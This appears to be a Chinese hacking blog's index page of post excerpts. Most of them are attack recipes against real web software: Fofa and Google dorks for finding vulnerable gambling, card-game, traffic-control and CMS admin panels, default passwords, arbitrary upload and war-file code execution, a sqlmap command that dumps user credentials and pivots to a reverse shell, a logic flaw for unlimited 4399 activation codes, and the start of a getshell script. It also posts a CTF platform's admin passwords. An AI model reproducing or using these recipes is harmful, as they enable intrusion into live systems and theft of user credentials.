CTF比赛练习平台[H1ve汉化中文版]源码下载地址：两个一摸一样，只是不同的存放平台 cloud.189.cn/t/YJr6jayaINny （访问码：hd1c）share.weiyun.com/11xZddoA （密码：k6f3） 注意：owl插件怎么使用，建议看看owl的python代码，再看下插件目录里题目的docker-comper.yml怎么写的（特别是端口号不要乱写，按“9999:80”写，插件会找9999关键字去自动替换修改的） owl题目目录：H1ve\CTFd\plugins\ctfd-owl\source\ctfweb 前台ui：H1ve\CTFd\themes\H1ve-theme 后台ui：\H1ve\CTFd\themes\admin 我的分享的包里是已经配置过的，想要自己从新配置 删除.data/目录，再安装平台即可。 管理员1：user：lyjh；pass：lyjh123456 （如果密码不对，登录xueqi，去修改lyjh密码，） 管理员2：xueqi：xueqi123456 切记不要删除lyjh，可能插件及配置会出错 搭建： cd h1v1 & ...

4399 的一处逻辑漏洞 漏洞地址：http://huodong.4399.com/2018/pcgame/lb.php?id=73 1：基本操作，抓包 2：把包放到重发器进行逻辑测试 3：发现漏洞，dhlb1修改为dhlb方可无限重发，导致无限领取激活码 4：漏洞证明 修复建议： 网站逻辑漏洞修复，简单来说在获取当前登录用户的时候，对该用户的身份进行确认，以及安全验证该用户是否存在操作的权限，在请求中加以token随机值在服务器端对每一次的请求进行token效验。 原创作者： hyck漏洞发现时间：2020-02-28

废多多后台管理系统多处漏洞-网站做的稀碎存在.svn文件目录被允许访问，可以下载数据库文件 存在多越权，以下只是示例 /Admin/OrderMgr/Admin/CardMgr未授权上传；index.php/Admin/AdsMgr/add任意超级管理员注册：index.php/Admin/UserMgr/add?roleid=1 还有apache目录泄露漏洞 公告列表处xss未授权公告添加：index.php/Admin/NoticeMgr可构造恶意payload诱导admin查看此公告，然后触发漏洞 整体来说，这个站，稀碎

dede_admin 账密泄露 0day谷歌搜索：**inurl:backupdata*dede_admin**

BC大富getshell脚本#!/usr/bin/env python# coding:utf-8import requestsimport jsonimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 彻底移除SSL认证，HTTPS警告shell = '''这里写入一句话木马'''class DafuGetShell(object): def _init__(self,): pass def Parse_url(self,arg): print(arg) ''' Url处理函数 ''' import sys if sys.version_i ...

流量管控系统0day_3流量管控系统0day Fofa搜索：”unierm_brand/logo.png” 默认账密 上传处任意文件上传

控制台0day_2Tas ROOT**程序**0day Fofa搜索：title=”Tas ROOT程序” 通过弱口令进入 然后可传war xml解析jsp 远程代码执行 不懂可以百度

棋牌0day_1Fofa搜索：”/Content/images/login_main.png” 登陆处存在POST注入 抓包后丢到sqlmap跑就行了 SqlmapPayload：sqlmap.py -r -D RYPlatformManagerDB -T Base_Users -C Username,Password –dump 也可通过sqlmap的os-shell进行反弹cs

Linux_SSHD 本教程所有命令在POWERSHELL下运行 Config 配置config文件 cd ~\.ssh\没有就创建 C:\Users\用户名\.ssh\notepad.exe .\config或者notepad.exe C:\ProgramData\ssh\ssh_configconfig格式：Host 主机名 HostName IP/domain User username Port 22 SSH Key 配置本地密钥，已有请忽略 生成密钥ssh-keygen -t rsatype .\id_rsa.pub复制结果 配置远程密钥 首先ssh -P post username@IP/domainsudo apt-get/yum install openssh-serversudo vi /etc/ssh/sshd_config取消注释（搜索指定行）禁用密码登录，启用密钥登录sed -i "s/PasswordAuthentication yes/PasswordAuthentication no/g" /etc/ssh/ ...

博客搬家 博客从20_03_01开始运行 中途尝试过多种方案 现在确定使用vercel 博客文章少的可怜，因为文章不小心丢了 可以参观一下 CNBLOGS

断奶通知今天起开始断奶，别问，问就是不知道